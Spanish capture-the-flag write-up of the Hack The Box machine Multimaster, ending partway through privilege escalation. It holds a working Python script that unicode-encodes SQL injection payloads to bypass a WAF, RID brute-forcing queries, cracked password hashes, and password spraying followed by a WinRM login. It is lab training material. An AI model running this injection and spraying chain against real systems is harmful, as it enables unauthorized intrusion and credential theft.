
Hola de nuevo el de hoy vamos a estar resolviendo la maquina Multimaster
de hackthebox
que es una maquina Windows
de dificultad Insane
, la cosa se va a tensar :smirk:. Comenzaremos realizando la enumeracion por smb
, despues usaremos wfuzz
para enumerar caracteres por fuerza bruta para validar una inyeccion, posteriormente crearemos un script en python donde realizaremos una sql injection
avanzada para hacer bypass un waf
incorporado en la maquina, obtendremos los RID Y SID
de los usuarios del dominio y con ellos encontraremos unas credenciales validas que nos permitiran conectarnos al sistema, donde aprovecharemos una vulnerabilidad asociada a una version de Visual Studio Code
que por medio de la exposicion debugger
lograremos obtener RCE
, finalmente usaremos BoodHound donde setearemos kerberos dont require preauthetication
a un usuario miembro del grupo Server Operators
y manipulando el binPath nos convertiremos en el usuario Administrator.
Vamos a comenzar como siempre creando un directorio con el nombre de la maquina:
❯ mkdir Multimaster
❯ ls
Multimaster
❯ which mkt
mkt () {
mkdir {nmap,content,scripts}
}
❯ mkt
❯ ls
content nmap scripts
Enumeración #
Ahora que tenemos nuestros directorios proseguimos con la fase de Enumeracion, empezamos mandando una traza a la ip de la maquina victima con el comando ping
:
❯ ping -c 1 10.10.10.179
PING 10.10.10.179 (10.10.10.179) 56(84) bytes of data.
64 bytes from 10.10.10.179: icmp_seq=1 ttl=127 time=117 ms
--- 10.10.10.179 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 116.535/116.535/116.535/0.000 ms
Vemos que recibimos respuesta y que el ttl es igual a 127 correspondiente a una maquina windowns, seguidamente procederemos a el scaneo de puertos con la ayuda de nmap
:
Escaneo de Puertos
Parámetro | Descripción |
---|---|
-p- | Escaneamos todos los 65535 puertos. |
–open | Solo los puertos que estén abiertos. |
-v | Permite ver en consola lo que va encontrando (verbose). |
-oG | Guarda el output en un archivo con formato grepeable para que mediante una funcion de S4vitar nos va a permitir extraer cada uno de los puertos y copiarlos sin importar la cantidad en la clipboard y asi al hacer ctrl_c esten disponibles |
Procedemos a escanear los puertos abiertos y lo exportaremos al archivo de nombre openPorts
:
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.179 -oG openPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-31 15:32 GMT
Initiating SYN Stealth Scan at 15:32
Scanning 10.10.10.179 [65535 ports]
Discovered open port 135/tcp on 10.10.10.179
Discovered open port 53/tcp on 10.10.10.179
Discovered open port 445/tcp on 10.10.10.179
Discovered open port 3389/tcp on 10.10.10.179
Discovered open port 80/tcp on 10.10.10.179
Discovered open port 139/tcp on 10.10.10.179
Discovered open port 3269/tcp on 10.10.10.179
Discovered open port 389/tcp on 10.10.10.179
Discovered open port 9389/tcp on 10.10.10.179
Discovered open port 49698/tcp on 10.10.10.179
Discovered open port 49667/tcp on 10.10.10.179
Discovered open port 3268/tcp on 10.10.10.179
Discovered open port 49675/tcp on 10.10.10.179
Discovered open port 49674/tcp on 10.10.10.179
Discovered open port 49681/tcp on 10.10.10.179
Discovered open port 88/tcp on 10.10.10.179
Discovered open port 5985/tcp on 10.10.10.179
Discovered open port 593/tcp on 10.10.10.179
Discovered open port 49666/tcp on 10.10.10.179
Discovered open port 636/tcp on 10.10.10.179
Discovered open port 464/tcp on 10.10.10.179
Completed SYN Stealth Scan at 15:32, 41.87s elapsed (65535 total ports)
Nmap scan report for 10.10.10.179
Host is up, received user-set (0.24s latency).
Scanned at 2023-03-31 15:32:09 GMT for 41s
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49674/tcp open unknown syn-ack ttl 127
49675/tcp open unknown syn-ack ttl 127
49681/tcp open unknown syn-ack ttl 127
49698/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 41.95 seconds
Raw packets sent: 196589 (8.650MB) | Rcvd: 47 (2.068KB)
Podemos ver puertos interesantes que se encuentran abiertos como 135 rpc
, 139 ldap
, 445 smb
, 80 http
, 88 Kerberos
y 5985 winrm
, podemos asumir que nos enfrentaremos a un entorno de directorio activo.
Escaneo de Version y Servicios.
❯ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49666,49667,49674,49675,49681,49698 10.10.10.179 -oN targets
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-31 15:35 GMT
Nmap scan report for 10.10.10.179
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: MegaCorp
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-03-31 15:42:39Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGACORP)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGACORP.LOCAL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=MULTIMASTER.MEGACORP.LOCAL
| Not valid before: 2023-03-30T15:34:28
|_Not valid after: 2023-09-29T15:34:28
| rdp-ntlm-info:
| Target_Name: MEGACORP
| NetBIOS_Domain_Name: MEGACORP
| NetBIOS_Computer_Name: MULTIMASTER
| DNS_Domain_Name: MEGACORP.LOCAL
| DNS_Computer_Name: MULTIMASTER.MEGACORP.LOCAL
| DNS_Tree_Name: MEGACORP.LOCAL
| Product_Version: 10.0.14393
|_ System_Time: 2023-03-31T15:43:32+00:00
|_ssl-date: 2023-03-31T15:44:11+00:00; +6m58s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49681/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
Service Info: Host: MULTIMASTER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: MULTIMASTER
| NetBIOS computer name: MULTIMASTER\x00
| Domain name: MEGACORP.LOCAL
| Forest name: MEGACORP.LOCAL
| FQDN: MULTIMASTER.MEGACORP.LOCAL
|_ System time: 2023-03-31T08:43:32-07:00
| smb2-time:
| date: 2023-03-31T15:43:36
|_ start_date: 2023-03-31T15:34:34
|_clock-skew: mean: 1h30m58s, deviation: 3h07m50s, median: 6m58s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.97 seconds
Visulizamos informacion interesante de los puertos escaneados:
Puerto | Servicio | Versión |
---|---|---|
53 | DNS | Simple DNS Plus |
80 | HTTP | Microsoft IIS httpd 10.0 |
88 | KERBEROS | Microsoft Windows Kerberos |
135 | RPC | Microsoft Windows RPC |
139 | LDAP | Microsoft Windows netbios-ssn |
445 | SMB | ? |
3389 | RDP | Microsoft Terminal Services |
5985 | WINRM | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
Ya que vemos que el puerto 445 esta abierto procederemos a enumerarlo, usando la herramienta crackmapexec
:
❯ crackmapexec smb 10.10.10.179
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
Añadimos el domain a nuestro /etc/hosts
echo "10.10.10.179 MEGACORP.LOCAL" >> /etc/hosts
Explotación #
Buscaremos si podemos listar recursos compartidos, para ello podemos hacer uso de smbmap con los parametros -H
para especificar el host y -u
para hacer uso de una sesion nula.
❯ smbmap -H 10.10.10.179 -u 'null'
[!] Authentication error on 10.10.10.179
Vemos que no contamos con acceso por smb , seguidamente probaremos a tratat de enumerar usuarios del sistema por rpc con rpcclient
y de igual manera no tenemos acceso.
❯ rpcclient -U "" 10.10.10.179 -N
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED
rpcclient $>
Entonces procederemos a abrir la pagina web correspondiente a un IIS
.
Despues de enumerar un rato la pagina web, en la opcion colleague finder
realizamos una busqueda que nos reporta una lista de usuarios.
❯ cat users.txt
sbauer
okent
ckane
kpage
shayna
james
rmartin
jorden
alyx
ilee
nbourne
zpowers
aldom
minato
Vamos a validar si los usuarios son validos usando la herramienta kerbrute
❯ /opt/kerbrute/kerbrute userenum --dc 10.10.10.179 -d MEGACORP.LOCAL users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: dev (n/a) - 03/31/23 - Ronnie Flathers @ropnop
2023/03/31 18:45:44 > Using KDC(s):
2023/03/31 18:45:44 > 10.10.10.179:88
2023/03/31 18:45:44 > [+] VALID USERNAME: ckane@MEGACORP.LOCAL
2023/03/31 18:45:44 > [+] VALID USERNAME: okent@MEGACORP.LOCAL
2023/03/31 18:45:44 > [+] VALID USERNAME: sbauer@MEGACORP.LOCAL
2023/03/31 18:45:44 > [+] VALID USERNAME: rmartin@MEGACORP.LOCAL
2023/03/31 18:45:44 > [+] VALID USERNAME: kpage@MEGACORP.LOCAL
2023/03/31 18:45:44 > [+] VALID USERNAME: james@MEGACORP.LOCAL
2023/03/31 18:45:44 > [+] VALID USERNAME: jorden@MEGACORP.LOCAL
2023/03/31 18:45:44 > [+] VALID USERNAME: ilee@MEGACORP.LOCAL
2023/03/31 18:45:44 > [+] VALID USERNAME: alyx@MEGACORP.LOCAL
2023/03/31 18:45:44 > [+] VALID USERNAME: zpowers@MEGACORP.LOCAL
2023/03/31 18:45:45 > [+] VALID USERNAME: nbourne@MEGACORP.LOCAL
2023/03/31 18:45:45 > [+] VALID USERNAME: aldom@MEGACORP.LOCAL
2023/03/31 18:45:45 > Done! Tested 14 usernames (12 valid) in 0.787 seconds
Como nos encontramos en un entorno de directorio activo y es un domain controler, vamos a intentar realizar con los usuarios un ASREPRoast Attack
, mediante el cual podemos solicituar un TGT
sin conocer las contraseñas de los usuarios para obtener hashes que podemos crackear de forma offline. Para ello usaremos la herramienta de impakcet
GetNpUsers.py
.
❯ GetNPUsers.py MEGACORP.LOCAL/ -no-pass -usersfile users.txt
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[-] User sbauer doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User okent doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ckane doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User kpage doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User james doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User rmartin doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jorden doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User alyx doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User ilee doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User nbourne doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User zpowers doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User aldom doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
Anteriormente veiamos que en Colleague Finder
teniamos un input que vamos a proceder a interceptar con burpsite
para tratar de causar un error en la consulta.
Cuando añadimos simbolos como la '
, nos manda un mensaje de error 403
Forbidden y con otros simbolos un 200
ok, asi que vamos a intentar realizar fuerza bruta con wfuzz
para entender que esta pasando, para ello usaremos un diccionario del repositorio de danielmiessler
llamado special-chars.txt
.
❯ wfuzz -c -X POST -t 100 -w /opt/SecLists/Fuzzing/special-chars.txt -H 'Content-Type: application/json;charset=utf-8' -d '{"name":"FUZZ"}' -u http://10.10.10.179/api/getColleagues
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.179/api/getColleagues
Total requests: 32
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000007: 403 29 L 92 W 1233 Ch "^"
000000015: 403 29 L 92 W 1233 Ch "="
000000003: 403 29 L 92 W 1233 Ch "@"
000000001: 403 29 L 92 W 1233 Ch "~"
000000016: 403 29 L 92 W 1233 Ch "{"
000000014: 403 29 L 92 W 1233 Ch "+"
Vemos que al usar muchos hilos en la peticion el servidor nos bloquea por la existencia de un WAF
, para ello con usos adicionaremos unos parametros -s 1
, para que mande una peticion por segundo y ocultaremos el codigo de estado 200
❯ wfuzz -c -X POST --hc=200 -s 1 -w /opt/SecLists/Fuzzing/special-chars.txt -H 'Content-Type: application/json;charset=utf-8' -d '{"name":"FUZZ"}' -u http://10.10.10.179/api/getColleagues
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.179/api/getColleagues
Total requests: 32
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000004: 403 29 L 92 W 1233 Ch "#"
000000021: 500 0 L 4 W 36 Ch "\"
000000028: 403 29 L 92 W 1233 Ch ":"
000000029: 403 29 L 92 W 1233 Ch "'"
000000030: 403 29 L 92 W 1233 Ch """
000000031: 403 29 L 92 W 1233 Ch "<"
000000032: 403 29 L 92 W 1233 Ch ">"
Total time: 32.39251
Processed Requests: 32
Filtered Requests: 25
Requests/sec.: 0.987882
Al finalizar wfuzz nos muestra que la \
nos reporta un codigo de estado 500 Internal Server Error
, que curiosamente usa sqlmap
con el nombre de tamper
para ofuzcar sus payloads como en el siguente ejemplo.
>>> tamper('SELECT FIELD FROM TABLE')
'\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045'
A efectos practicos al mandar la peticion debemos usar \\u00
seguido de cada caracter en hexadecimal no es necesario usar tres \
con uno basta.
Para no realizar la peticion una a una o usar sqlmap, vamos a realizarlo manualmente creandonos un script en python3
:
#!/usr/bin/python3
from pwn import *
import requests, time, json, signal
def def_handler(sig, frame):
print("\n[!] Saliendo...!\n")
sys.exit(1)
#ctrl_c -> al presionar nos ejecuta la funcion def_handler
signal.signal(signal.SIGINT, def_handler)
#global_variables
main_url = "http://10.10.10.179/api/getColleagues"
#recibimos la data como input y la tratamos
def recivesql(sqlinyection):
sqlmodified = ""
for character in sqlinyection:
sqlmodified += "\\u00" + hex(ord(character))[2:]
return sqlmodified
#realizamos la peticion enviando la data tratada y la representamos en formato json
def sendsql(sqlmodified):
headers = {
'Content-Type': 'application/json;charset=utf-8'
}
data_post = '{"name": "%s"}' % sqlmodified
r = requests.post(main_url, headers=headers, data=data_post)
data_json = json.loads(r.text)
return (json.dumps(data_json,indent=4))
if __name__ == '__main__':
#mediante un bucle recibimos la data como input
while True:
sqlinyection = input("> ")
sqlinyection = sqlinyection.strip()
sqlmodified = recivesql(sqlinyection)
response_json = sendsql(sqlmodified)
print(response_json)
Ejecutamos el script y realizamos una inyeccion sql
.
❯ python3 sql_inject.py
> ttest' union select 1,schema_name,3,4,5 from information_schema.schemata-- -
[
{
"id": 1,
"name": "db_accessadmin",
"position": "3",
"email": "4",
"src": "5"
},
{
"id": 1,
"name": "db_backupoperator",
"position": "3",
"email": "4",
"src": "5"
},
{
"id": 1,
"name": "db_datareader",
"position": "3",
"email": "4",
"src": "5"
},
{
"id": 1,
"name": "db_datawriter",
"position": "3",
"email": "4",
"src": "5"
},
{
"id": 1,
"name": "db_ddladmin",
"position": "3",
"email": "4",
"src": "5"
},
{
"id": 1,
"name": "db_denydatareader",
"position": "3",
"email": "4",
"src": "5"
},
{
"id": 1,
"name": "db_denydatawriter",
"position": "3",
"email": "4",
"src": "5"
},
{
"id": 1,
"name": "db_owner",
"position": "3",
"email": "4",
"src": "5"
},
{
"id": 1,
"name": "db_securityadmin",
"position": "3",
"email": "4",
"src": "5"
},
{
"id": 1,
"name": "dbo",
"position": "3",
"email": "4",
"src": "5"
},
{
"id": 1,
"name": "guest",
"position": "3",
"email": "4",
"src": "5"
},
{
"id": 1,
"name": "INFORMATION_SCHEMA",
"position": "3",
"email": "4",
"src": "5"
},
{
"id": 1,
"name": "sys",
"position": "3",
"email": "4",
"src": "5"
}
]
>
Enumerando la base de datos dbo
encontramos usuarios y contraseñas encriptadas.
aldom:9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
alyx:fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa
ckane:68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813
cyork:9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
egre55:cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc
ilee:68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813
james:9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
jorden:9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
kpage:68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813
minatotw:cf17bb4919cab4729d835e734825ef16d47de2d9615733fcba3b6e0a7aa7c53edd986b64bf715d0a2df0015fd090babc
nbourne:fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa
okent:fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa
rmartin:fb40643498f8318cb3fb4af397bbce903957dde8edde85051d59998aa2f244f7fc80dd2928e648465b8e7a1946a50cfa
sbauer:9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
shayna:9777768363a66709804f592aac4c84b755db6d4ec59960d4cee5951e86060e768d97be2d20d79dbccbe242c2244e5739
zac:68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813
zpowers:68d1054460bf0d22cd5182288b8e82306cca95639ee8eb1470be1648149ae1f71201fbacc3edb639eed4e954ce5f0813
Usaremos hashcat
para crackear los hashes, y logramos obtener 3 contraseñas.
password1
finance1
banking1
Ya que tenemos una lista de usuarios y contraeñas probamos a validar si alguna de ellas es valida con crackmapexec
y nos reprota que ninguna es valida.
❯ crackmapexec smb 10.10.10.179 -u users.txt -p passwords --continue-on-success
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\sbauer:password1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\sbauer:finance1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\sbauer:banking1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\okent:password1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\okent:finance1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\okent:banking1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\andrew:password1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\andrew:finance1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\andrew:banking1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\ckane:password1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\ckane:finance1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\ckane:banking1 STATUS_LOGON_FAILURE
Sim embargo debemos recordar que cuando nos encotramos en un entorno de directorio activo, podemos enumerar usuarios o informacion del DC
a partir de inyecciones.
> test' union select 1,default_domain(),3,4,5-- -
[
{
"id": 1,
"name": "MEGACORP",
"position": "3",
"email": "4",
"src": "5"
}
]
>
Ahora con una query especifica vamos a lista el SID y RID correspondiente al usuario Administrator
SID Y RID: El Identificador Relativo (RID) es parte del Identificador de Seguridad (SID) en los dominios de Microsoft Windows. Es la parte del SID que identifica a un principal de seguridad (un usuario, grupo o equipo) en relación con la autoridad que expidió el SID.
> testt' union select 1,(select sys.fn_varbintohexstr(SUSER_SID('MEGACORP\Administrator'))),3,4,5-- -
[
{
"id": 1,
"name": "0x0105000000000005150000001c00d1bcd181f1492bdfc236f4010000",
"position": "3",
"email": "4",
"src": "5"
}
]
>
De el resultado que nos reporta los ultimos 8 caracteres corresponden al RDI, que viene a estar representado en hexadecimal si lo tratamos un poco.
❯ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x01f4
500
>>> hex(500)
'0x1f4'
>>> hex(501)
'0x1f5
Si modificamos el rdi con el valor hexadecimal de 501
, entonces correspondera a otro usuario, en este caso Ghest
.
> test' union select 1,(select SUSER_SNAME(0x0105000000000005150000001c00d1bcd181f1492bdfc236f5010000)),3,4,5-- -
[
{
"id": 1,
"name": "MEGACORP\\Guest",
"position": "3",
"email": "4",
"src": "5"
}
]
Esto nos da la idea que podemos lista los usuarios del DC
a partir de poder conmutar el RID
, para ello en vez de hacerlo uno por uno, vamos a modificar un poco el script que ya teniamos para gestionarlo mejor.
#!/usr/bin/python3
from pwn import *
import requests, time, json, signal
def def_handler(sig, frame):
print("\n[!] Saliendo...!\n")
sys.exit(1)
#ctrl_c
signal.signal(signal.SIGINT, def_handler)
#global_variables
main_url = "http://10.10.10.179/api/getColleagues"
sid = "0x0105000000000005150000001c00d1bcd181f1492bdfc236"
#tratamos la data
def recivesql(sqlinyection):
sqlmodified = ""
for character in sqlinyection:
sqlmodified += "\\u00" + hex(ord(character))[2:]
return sqlmodified
#enviamos la data procesada
def sendsql(sqlmodified):
headers = {
'Content-Type': 'application/json;charset=utf-8'
}
data_post = '{"name": "%s"}' % sqlmodified
r = requests.post(main_url, headers=headers, data=data_post)
data_json = json.loads(r.text)
return (json.dumps(data_json,indent=4))
#obtebemos el RID en el formato adecuado
def getRID(i):
cadena = hex(i).replace("x","")
lista = []
for caracter in cadena:
lista.append(caracter)
rid = lista[2] + lista[3] + lista[0] +lista[1] + "0000"
return rid
if __name__ == '__main__':
#establecemos un rango que casi siempre corresponden a los usuarios
for i in range(1100, 1200):
rid = getRID(i)
sqli = "ttest' union select 1,(select SUSER_SNAME(%s%s)),3,4,5-- -" % (sid, rid)
sqlmodified = recivesql(sqli)
response_json = sendsql(sqlmodified)
print(response_json)
time.sleep(2)
Una vez ejecutamos el script despues de un breve momento obtenemos nuevos usuarios.
❯ python3 sql_inject.py
[
{
"id": 1,
"name": "",
"position": "3",
"email": "4",
"src": "5"
}
]
[
{
"id": 1,
"name": "MEGACORP\\DnsAdmins",
"position": "3",
"email": "4",
"src": "5"
}
]
[
{
"id": 1,
"name": "MEGACORP\\DnsUpdateProxy",
"position": "3",
"email": "4",
"src": "5"
}
]
[
{
"id": 1,
"name": "MEGACORP\\svc-nas",
"position": "3",
"email": "4",
"src": "5"
}
]
[
{
"id": 1,
"name": "MEGACORP\\Privileged IT Accounts",
"position": "3",
"email": "4",
"src": "5"
}
]
[
{
"id": 1,
"name": "MEGACORP\\tushikikatomo",
"position": "3",
"email": "4",
"src": "5"
}
]
[
{
"id": 1,
"name": "MEGACORP\\andrew",
"position": "3",
"email": "4",
"src": "5"
}
]
[
{
"id": 1,
"name": "MEGACORP\\lana",
"position": "3",
"email": "4",
"src": "5"
}
]
Con estos nuevos usuarios validamos con crackmapexec
y esta vez obtenemos unas credenciales validas correspondiente al usuario tushikikatomo
❯ crackmapexec smb 10.10.10.179 -u users.txt -p passwords --continue-on-success
SMB 10.10.10.179 445 MULTIMASTER [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\tushikikatomo:password1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [+] MEGACORP.LOCAL\tushikikatomo:finance1
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\tushikikatomo:banking1 STATUS_LOGON_FAILURE
SMB 10.10.10.179 445 MULTIMASTER [-] MEGACORP.LOCAL\lana:password1 STATUS_LOGON_FAILURE
Como antes nmap
nos reporto que el puerto 5985
estaba abierto intentaremos conectarnos con estas credenciales con evil-winrm
y visualizamos la primera flag user.txt
❯ evil-winrm -i 10.10.10.179 -u 'tushikikatomo' -p 'finance1'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\alcibiades\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\alcibiades\Desktop> type user.txt
9d5ca88b1cafe75450e0b7a7b03c7834
Escalada de Privilegios #
Enumerando un poco el sistema encontramos que se ejecuta el proceso Code
correspondiente a Visual Code
*Evil-WinRM* PS C:\Users\alcibiades\Desktop> Get-Process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
277 51 57564 74188 652 1 Code
576 39 30472 72024 1212 1 Code
403 53 96468 122704 5464 1 Code
315 31 37032 62272 5576 1 Code
397 21 16804 23172 5836 1 Code
194 15 6112 12432 6056 1 Code
63 4 708 3532 5832 0 CompatTelRunner
93 8 1308 5884 4092 0 conhost
Vamos a la ruta, lo ejecutamos con el panel de ayuda y y este nos devuelve su version.
*Evil-WinRM* PS C:\Program Files\Microsoft VS Code\bin> .\code -h
Visual Studio Code 1.37.1
Usage: code.exe [options][paths...]
Despues de realizar una busqueda encontramos el CVE-2019-1414
asociado a esta version para elevegar privilegios a traves de la exposicion de un debug listener.
Mayor detalle en el articulo a continuacion:
Usaremos la herramienta cefdebug
de github para explotar esta vulnerabilidad
Nos descargamos el ejecutable y lo subimos a la maquina victima en este caso lo hare con un recurso compartido, pero se puede hacer de muchas maneras.
❯ impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
